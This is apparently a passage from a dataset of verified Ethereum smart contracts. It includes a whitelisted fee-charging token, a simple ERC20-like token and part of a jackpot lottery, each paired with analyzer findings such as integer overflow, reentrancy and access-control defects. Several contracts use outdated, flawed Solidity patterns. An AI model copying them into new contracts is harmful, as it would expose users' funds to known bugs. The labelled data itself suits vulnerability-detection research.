* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Validator
* @dev The Validator contract has a validator address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
/**
* @dev The Validator constructor sets the original `validator` of the contract to the sender
* account.
*/
constructor() public {
validator = msg.sender;
}
/**
* @dev Throws if called by any account other than the validator.
*/
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
/**
* @dev Allows the current validator to transfer control of the contract to a newValidator.
* @param newValidator The address to become next validator.
*/
function setNewValidator(address newValidator) public onlyValidator {
require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
contract CompliantToken is Validator, MintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(
address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason
);
event TransferWithFee(
address indexed from,
address indexed to,
uint256 value,
uint256 fee
);
event RecordedPendingTransaction(
address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender
);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(
address _owner,
address whitelistAddress,
address recipient,
uint256 fee
)
public
MintableToken(_owner)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
msg.sender,
_to,
_value,
transferFee,
address(0)
);
emit RecordedPendingTransaction(msg.sender, _to, _value, transferFee, address(0));
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
_from,
_to,
_value,
transferFee,
msg.sender
);
emit RecordedPendingTransaction(_from, _to, _value, transferFee, msg.sender);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
checkIsValueValid(pendingTransactions[nonce].value)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
address to = pendingTransactions[nonce].to;
uint256 value = pendingTransactions[nonce].value;
uint256 allowedTransferAmount = allowed[from][spender];
uint256 pendingAmount = pendingApprovalAmount[from][spender];
uint256 fee = pendingTransactions[nonce].fee;
uint256 balanceFrom = balances[from];
uint256 balanceTo = balances[to];
delete pendingTransactions[nonce];
if (from == feeRecipient) {
fee = 0;
balanceFrom = balanceFrom.sub(value);
balanceTo = balanceTo.add(value);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value);
}
pendingAmount = pendingAmount.sub(value);
} else {
balanceFrom = balanceFrom.sub(value.add(fee));
balanceTo = balanceTo.add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value).sub(fee);
}
pendingAmount = pendingAmount.sub(value).sub(fee);
}
emit TransferWithFee(
from,
to,
value,
fee
);
emit Transfer(
from,
to,
value
);
balances[from] = balanceFrom;
balances[to] = balanceTo;
allowed[from][spender] = allowedTransferAmount;
pendingApprovalAmount[from][spender] = pendingAmount;
return true;
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
if (from == feeRecipient) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(
from,
pendingTransactions[nonce].to,
pendingTransactions[nonce].value,
nonce,
reason
);
delete pendingTransactions[nonce];
}
} | [{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["92", "342"]}] | [{"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"CompliantToken.sol": [392]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CompliantToken.sol": [15, 16, 17, 18, 19, 20, 21, 22]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CompliantToken.sol": [32, 27, 28, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [58]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [235, 236, 237, 238, 239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [308, 309, 310, 311, 312]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [59]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [209, 210, 211, 212, 213]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [96, 97, 98, 99, 100]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [192, 193, 194, 195, 196, 197, 187, 188, 189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [296, 297, 298, 299, 300, 301, 302]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [256, 257, 258, 259, 260, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [346, 347, 348, 349, 350]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CompliantToken.sol": [221, 222, 223]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [221]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [209]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [129]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [221]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [296]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [533]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [209]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [235]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [129]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [251]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [145]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [296]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [368]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [235]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [251]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [533]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [502]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [502]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [533]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CompliantToken.sol": [187]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"CompliantToken.sol": [519, 520, 521, 522, 523, 524, 525]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"CompliantToken.sol": [624]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"CompliantToken.sol": [553, 554, 555, 556, 557, 558, 559]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CompliantToken.sol": [527]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CompliantToken.sol": [608, 609, 610, 611, 612, 613]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CompliantToken.sol": [561]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"CompliantToken.sol": [585]}}] | [{"error": "Integer Overflow.", "line": 46, "level": "Warning"}, {"error": "Integer Overflow.", "line": 634, "level": "Warning"}, {"error": "Integer Overflow.", "line": 638, "level": "Warning"}, {"error": "Integer Overflow.", "line": 581, "level": "Warning"}, {"error": "Integer Overflow.", "line": 576, "level": "Warning"}, {"error": "Integer Overflow.", "line": 578, "level": "Warning"}, {"error": "Integer Overflow.", "line": 411, "level": "Warning"}, {"error": "Integer Overflow.", "line": 577, "level": "Warning"}, {"error": "Integer Overflow.", "line": 646, "level": "Warning"}, {"error": "Integer Overflow.", "line": 647, "level": "Warning"}, {"error": "Integer Overflow.", "line": 641, "level": "Warning"}, {"error": "Integer Overflow.", "line": 380, "level": "Warning"}, {"error": "Integer Overflow.", "line": 393, "level": "Warning"}, {"error": "Integer Overflow.", "line": 381, "level": "Warning"}, {"error": "Integer Overflow.", "line": 392, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 509, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 513, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 516, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 209, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 379, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 391, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 379, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 391, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 113, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 115, "severity": 1}] | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"whitelistAddress","type":"address"}],"name":"setWhitelistContract","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newValidator","type":"address"}],"name":"setNewValidator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"pendingApprovalAmount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"validator","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"feeRecipient","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"pendingTransactions","outputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"},{"name":"fee","type":"uint256"},{"name":"spender","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"fee","type":"uint256"}],"name":"setFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"transferFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentNonce","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"whiteListingContract","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"nonce","type":"uint256"}],"name":"approveTransfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"nonce","type":"uint256"},{"name":"reason","type":"uint256"}],"name":"rejectTransfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"}],"name":"setFeeRecipient","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"whitelistAddress","type":"address"},{"name":"recipient","type":"address"},{"name":"fee","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":true,"name":"nonce","type":"uint256"},{"indexed":false,"name":"reason","type":"uint256"}],"name":"TransferRejected","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"fee","type":"uint256"}],"name":"TransferWithFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"fee","type":"uint256"},{"indexed":true,"name":"spender","type":"address"}],"name":"RecordedPendingTransaction","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_whiteListingContract","type":"address"}],"name":"WhiteListingContractSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousFee","type":"uint256"},{"indexed":true,"name":"newFee","type":"uint256"}],"name":"FeeSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousRecipient","type":"address"},{"indexed":true,"name":"newRecipient","type":"address"}],"name":"FeeRecipientSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newValidator","type":"address"}],"name":"NewValidatorSet","type":"event"}] | v0.4.23+commit.124ca40d | false | 200 | 00000000000000000000000083dc7560c860b2155b5c074f8806dd0e18607055000000000000000000000000e849977f05b004fb920cb1e4a64a47e7bcb4aee900000000000000000000000083dc7560c860b2155b5c074f8806dd0e186070550000000000000000000000000000000000000000000000000000000000000001 | Default | false | bzzr://f6ad9201f3975f6aba1d8ce82a8e7d5e1ddc6cc43c06e67ecd3acd8489e03423 |
|||
CardanoDark | 0x4cd29dc84fb19c205b65e7cba71bb2fc4478553f | Solidity | pragma solidity ^0.4.2;
contract CardanoDark {
/* Public variables of the token */
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function CardanoDark() {
initialSupply = 1000000000000000;
name ="Cardano Dark";
decimals = 8;
symbol = "ADAD";
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
}
/* Send coins */
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
}
/* This unnamed function is called whenever someone tries to send ether to it */
function () {
throw; // Prevents accidental sending of ether
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["14", "5"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["33", "34", "35"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"CardanoDark.sol": [5]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"CardanoDark.sol": [33]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"CardanoDark.sol": [32]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"CardanoDark.sol": [47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CardanoDark.sol": [32, 33, 34, 35, 36, 37, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CardanoDark.sol": [48, 46, 47]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"CardanoDark.sol": [32, 33, 34, 35, 36, 37, 31]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CardanoDark.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CardanoDark.sol": [31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CardanoDark.sol": [31]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"CardanoDark.sol": [20]}}] | [{"error": "Integer Underflow.", "line": 6, "level": "Warning"}, {"error": "Integer Underflow.", "line": 7, "level": "Warning"}, {"error": "Integer Underflow.", "line": 5, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 32, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 33, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 47, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 46, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 32, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 33, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 18, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 31, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"initialSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"standard","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[],"payable":false,"type":"constructor"},{"payable":false,"type":"fallback"}] | v0.4.11+commit.68ef5810 | false | 200 | Default | false | bzzr://289195d5e4173073f17bccc04db6d563411faba2f4e84d975f7f5ac9db8f08e3 |
||||
BubbleJackpot | 0xe681bea3f1431f3c763d08d7bd3dae50be45d0b5 | Solidity | pragma solidity ^0.5.0;
contract BubbleJackpot {
using SafeMath for *;
address payable[6] rankList;
address owner;
uint256 public countdown;
bool isLottery;
IBubble Bubble;
mapping(address => uint256) betMap;
mapping(address => uint256) withdrawMap;
uint256 public totalToken;
uint256 LOTTERYCOUNTDOWN = 24 hours;
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier isHuman() {
address addr = msg.sender;
uint256 codeLength;
assembly {
codeLength := extcodesize(addr)
}
require(codeLength == 0, "sorry humans only");
require(tx.origin == msg.sender, "sorry, human only");
_;
}
function() external payable {}
constructor() public {
owner = msg.sender;
for (uint256 idx = 0; idx < 5; idx++) {
rankList[idx] = address(0);
}
}
function getBubbleAddress() public view returns (address) {
return address(Bubble);
}
function setBubbleAddress(address contractAddr) public onlyOwner() {
require(address(Bubble) == address(0));
Bubble = IBubble(contractAddr);
}
function startLotteryCountdown() public isHuman() {
require(
Bubble.getGameOverStatus(),
"only lottery after bubble game over"
);
require(countdown == 0);
countdown = now + LOTTERYCOUNTDOWN;
}
function lottery() public isHuman() {
require(
Bubble.getGameOverStatus(),
"only lottery after bubble game over"
);
require(countdown != 0 && now > countdown, "countdown is not finished");
require(!isLottery, "only lottery once");
isLottery = true;
Bubble.transferAllEthToJackPot();
uint256 balance = address(this).balance;
uint256 temp = 0;
uint8[5] memory profit = [52, 23, 14, 8, 3];
for (uint256 idx = 0; idx < 5; idx++) {
if (rankList[idx] != address(0)) {
withdrawMap[rankList[idx]] = balance.mul(profit[idx]).div(100);
temp = temp.add(withdrawMap[rankList[idx]]);
}
}
withdrawMap[owner] = withdrawMap[owner].add(balance).sub(temp);
}
function withdraw() public isHuman() {
uint256 amount = withdrawMap[msg.sender];
require(amount > 0, "must above 0");
withdrawMap[msg.sender] = 0;
msg.sender.transfer(amount);
}
function getWithdrawAmount(address user) public view returns (uint256) {
return withdrawMap[user];
}
function bet(uint256 amount) public isHuman() {
if (countdown != 0 && now > countdown) {
revert();
}
Bubble.sendTokenToJackpot(msg.sender, amount);
betMap[msg.sender] = betMap[msg.sender].add(amount);
totalToken = totalToken.add(amount);
updateRankList(msg.sender);
}
//Get
function getBetTokenAmount() public view returns (uint256) {
return betMap[msg.sender];
}
function getRankListInfo()
public
view
returns (address payable[6] memory, uint256[5] memory)
{
uint256[5] memory tokenList;
for (uint256 idx = 0; idx < 5; idx++) {
address user = rankList[idx];
